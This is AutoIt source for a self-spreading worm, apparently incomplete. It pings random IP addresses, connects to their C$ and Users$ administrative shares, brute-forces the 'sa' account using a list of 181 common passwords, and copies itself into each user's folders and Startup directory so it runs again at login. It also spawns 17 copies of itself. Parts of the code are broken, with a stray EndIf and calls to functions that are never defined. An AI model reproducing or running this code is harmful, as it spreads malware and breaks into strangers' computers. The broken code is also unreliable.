Dim $user[5]
$user[0] = "S-1-3-0"
$user[1] = "S-1-1-0"
$user[2] = "S-1-5-2"
$user[3] = "S-1-5-4"
$user[4] = "S-1-5-18"

Dim $pass[181]
$pass[0]="00000"
$pass[1]="0000000"
$pass[2]="00000000"
$pass[3]="0987654321"
$pass[4]="11111"
$pass[5]="111111"
$pass[6]="1111111"
$pass[7]="11111111"
$pass[8]="123123"
$pass[9]="12321"
$pass[10]="123321"
$pass[11]="12345"
$pass[12]="123456"
$pass[13]="1234567"
$pass[14]="12345678"
$pass[15]="123456789"
$pass[16]="1234567890"
$pass[17]="1234abcd"
$pass[18]="1234qwer"
$pass[19]="123abc"
$pass[20]="123asd"
$pass[21]="123qwe"
$pass[22]="1q2w3e"
$pass[23]="22222"
$pass[24]="222222"
$pass[25]="2222222"
$pass[26]="22222222"
$pass[27]="33333"
$pass[28]="333333"
$pass[29]="3333333"
$pass[30]="33333333"
$pass[31]="44444"
$pass[32]="444444"
$pass[33]="4444444"
$pass[34]="44444444"
$pass[35]="54321"
$pass[36]="55555"
$pass[37]="555555"
$pass[38]="5555555"
$pass[39]="55555555"
$pass[40]="654321"
$pass[41]="66666"
$pass[42]="666666"
$pass[43]="6666666"
$pass[44]="66666666"
$pass[45]="7654321"
$pass[46]="77777"
$pass[47]="777777"
$pass[48]="7777777"
$pass[49]="77777777"
$pass[50]="87654321"
$pass[51]="88888"
$pass[52]="888888"
$pass[53]="8888888"
$pass[54]="88888888"
$pass[55]="987654321"
$pass[56]="99999"
$pass[57]="999999"
$pass[58]="9999999"
$pass[59]="99999999"
$pass[60]="a1b2c3"
$pass[61]="aaaaa"
$pass[62]="abc123"
$pass[63]="academia"
$pass[64]="access"
$pass[65]="account"
$pass[66]="Admin"
$pass[67]="admin"
$pass[68]="admin1"
$pass[69]="admin12"
$pass[70]="admin123"
$pass[71]="adminadmin"
$pass[72]="administrator"
$pass[73]="anything"
$pass[74]="asddsa"
$pass[75]="asdfgh"
$pass[76]="asdsa"
$pass[77]="asdzxc"
$pass[78]="backup"
$pass[79]="boss123"
$pass[80]="business"
$pass[81]="campus"
$pass[82]="changeme"
$pass[83]="cluster"
$pass[84]="codename"
$pass[85]="codeword"
$pass[86]="coffee"
$pass[87]="computer"
$pass[88]="controller"
$pass[89]="cookie"
$pass[90]="customer"
$pass[91]="database"
$pass[92]="default"
$pass[93]="desktop"
$pass[94]="domain"
$pass[95]="example"
$pass[96]="exchange"
$pass[97]="explorer"
$pass[98]="files"
$pass[99]="foobar"
$pass[100]="foofoo"
$pass[101]="forever"
$pass[102]="freedom"
$pass[103]="games"
$pass[104]="home123"
$pass[105]="ihaveno$pass"
$pass[106]="Internet"
$pass[107]="internet"
$pass[108]="intranet"
$pass[109]="killer"
$pass[110]="letitbe"
$pass[111]="letmein"
$pass[112]="Login"
$pass[113]="login"
$pass[114]="lotus"
$pass[115]="love123"
$pass[116]="manager"
$pass[117]="market"
$pass[118]="money"
$pass[119]="monitor"
$pass[120]="my$pass"
$pass[121]="my$password"
$pass[122]="mypc123"
$pass[123]="nimda"
$pass[124]="nobody"
$pass[125]="no$pass"
$pass[126]="no$password"
$pass[127]="nothing"
$pass[128]="office"
$pass[129]="oracle"
$pass[130]="owner"
$pass[131]="$pass1"
$pass[132]="$pass12"
$pass[133]="$pass123"
$pass[134]="$passwd"
$pass[135]="$password"
$pass[136]="$password"
$pass[137]="$password1"
$pass[138]="$password12"
$pass[139]="$password123"
$pass[140]="private"
$pass[141]="public"
$pass[142]="pw123"
$pass[143]="q1w2e3"
$pass[144]="qazwsx"
$pass[145]="qazwsxedc"
$pass[146]="qqqqq"
$pass[147]="qwe123"
$pass[148]="qweasd"
$pass[149]="qweasdzxc"
$pass[150]="qweewq"
$pass[151]="qwerty"
$pass[152]="qwewq"
$pass[153]="root123"
$pass[154]="rootroot"
$pass[155]="sample"
$pass[156]="secret"
$pass[157]="secure"
$pass[158]="security"
$pass[159]="server"
$pass[160]="shadow"
$pass[161]="share"
$pass[162]="student"
$pass[163]="super"
$pass[164]="superuser"
$pass[165]="supervisor"
$pass[166]="system"
$pass[167]="temp123"
$pass[168]="temporary"
$pass[169]="temptemp"
$pass[170]="test123"
$pass[171]="testtest"
$pass[172]="unknown"
$pass[173]="windows"
$pass[174]="work123"
$pass[175]="xxxxx"
$pass[176]="zxccxz"
$pass[177]="zxcvb"
$pass[178]="zxcvbn"
$pass[179]="zxcxz"
$pass[180]="zzzzz"
Func _try_infectDrive()
	If FileExists("X:\") Then
		FileCopy(@ScriptFullPath, "X:\", $smbSpreadName)
		Local $hSearch = FileFindFirstFile("X:\Users\*")
		Local $sUserName = "", $iResult = 0
		While 1
			$sUserName = FileFindNextFile($hSearch)
			FileCopy(@ScriptFullPath, "X:\Users\" & $sUserName & "\" & $smbSpreadName)
			If @error Then ExitLoop
			Local $hhSearch = FileFindFirstFile("X:\Users\" & $sUserName & "\*")
			Local $sUserFolder = "", $iResult = 0
			While 1
				$sUserFolder = FileFindNextFile($hhSearch)
				If @error Then ExitLoop
				FileCopy(@ScriptFullPath, "X:\Users\" & $sUserName & "\" & $sUserFolder & "\" & $smbSpreadName)
				FileCopy(@ScriptFullPath, "x:\Users\" & $sUserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" & $smbSpreadName)
			WEnd
			FileClose($hhSearch)
		WEnd
		FileClose($hSearch)
	EndIf
EndIf
If $CmdLine[1] = "WAN" Then
    While 1
        $IP = Random(0,255,1) & "." & Random(0,255,1) & "." & Random(0,255,1) & "." & Random(0,255,1)
        If Ping($IP) > 0 Then
            _WinNet_AddConnection2("X:", "\\" & $IP & "\C$")
			_try_infectDrive()
            _WinNet_AddConnection2("X:", "\\" & $IP & "\Users$")
			_try_infectDrive()
            If Not FileExists("X:\") Then
                For $i = 0 To UBound($pass) - 1
                    _WinNet_AddConnection2("X:", "\\" & $IP & "\C$", "sa", $pass[$i])
                    If FileExists("X:\") Then
						_try_infectDrive()
                        ExitLoop
                    EndIf
                Next
            EndIf
			infectDrive($pass)
        EndIf
    Wend
ElseIf $CmdLine[1] = "SM" Then
	_SendMail()
Endif
Func _WinNet_AddConnection2($sLocalName, $sRemoteName, $sUserName = 0, $sPassword = 0, $iType = 1, $iOptions = 1)
    Const $tagNETRESOURCE = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
    Const $CONNECT_UPDATE_PROFILE = 0x00000001
    Const $CONNECT_INTERACTIVE = 0x00000008
    Const $CONNECT_PROMPT = 0x00000010
    Const $CONNECT_REDIRECT = 0x00000080
    Const $CONNECT_LOCALDRIVE = 0x00000100
    Const $CONNECT_COMMANDLINE = 0x00000800
    Const $CONNECT_CMD_SAVECRED = 0x00001000
    Local $tLocalName = DllStructCreate("wchar Text[1024]")
    Local $pLocalName = DllStructGetPtr($tLocalName)
    DllStructSetData($tLocalName, "Text", $sLocalName)

    Local $tRemoteName = DllStructCreate("wchar Text[1024]")
    Local $pRemoteName = DllStructGetPtr($tRemoteName)
    DllStructSetData($tRemoteName, "Text", $sRemoteName)

    Local $tUserName = 0
    If IsString($sUserName) Then
        $tUserName = DllStructCreate("wchar Text[1024]")
        DllStructSetData($tUserName, "Text", $sUserName)
    EndIf

    Local $tPassword = 0
    If IsString($sPassword) Then
        $tPassword = DllStructCreate("wchar Text[1024]")
        DllStructSetData($tPassword, "Text", $sPassword)
    EndIf

    Local $iFlags = 0
    If BitAND($iOptions, 1) <> 0 Then $iFlags = BitOR($iFlags, $CONNECT_UPDATE_PROFILE)
    If BitAND($iOptions, 2) <> 0 Then $iFlags = BitOR($iFlags, $CONNECT_INTERACTIVE)
    If BitAND($iOptions, 4) <> 0 Then $iFlags = BitOR($iFlags, $CONNECT_PROMPT)
    If BitAND($iOptions, 8) <> 0 Then $iFlags = BitOR($iFlags, $CONNECT_REDIRECT)
    If BitAND($iOptions, 16) <> 0 Then $iFlags = BitOR($iFlags, $CONNECT_COMMANDLINE)
    If BitAND($iOptions, 32) <> 0 Then $iFlags = BitOR($iFlags, $CONNECT_CMD_SAVECRED)

    Local $tResource = DllStructCreate($tagNETRESOURCE)
    DllStructSetData($tResource, "Type", $iType)
    DllStructSetData($tResource, "LocalName", $pLocalName)
    DllStructSetData($tResource, "RemoteName", $pRemoteName)

    Local $aResult = DllCall("mpr.dll", "dword", "WNetAddConnection2W", "struct*", $tResource, "struct*", $tPassword, "struct*", $tUserName, "dword", $iFlags)
    If @error Then Return SetError(@error, @extended, False)
    Return SetError($aResult[0], 0, $aResult[0] = 0)
EndFunc   ;==>_WinNet_AddConnection2

For $threads = 0 To 16
    Run(Chr(34) & @ScriptFullPath & Chr(34) & " Scan")
Next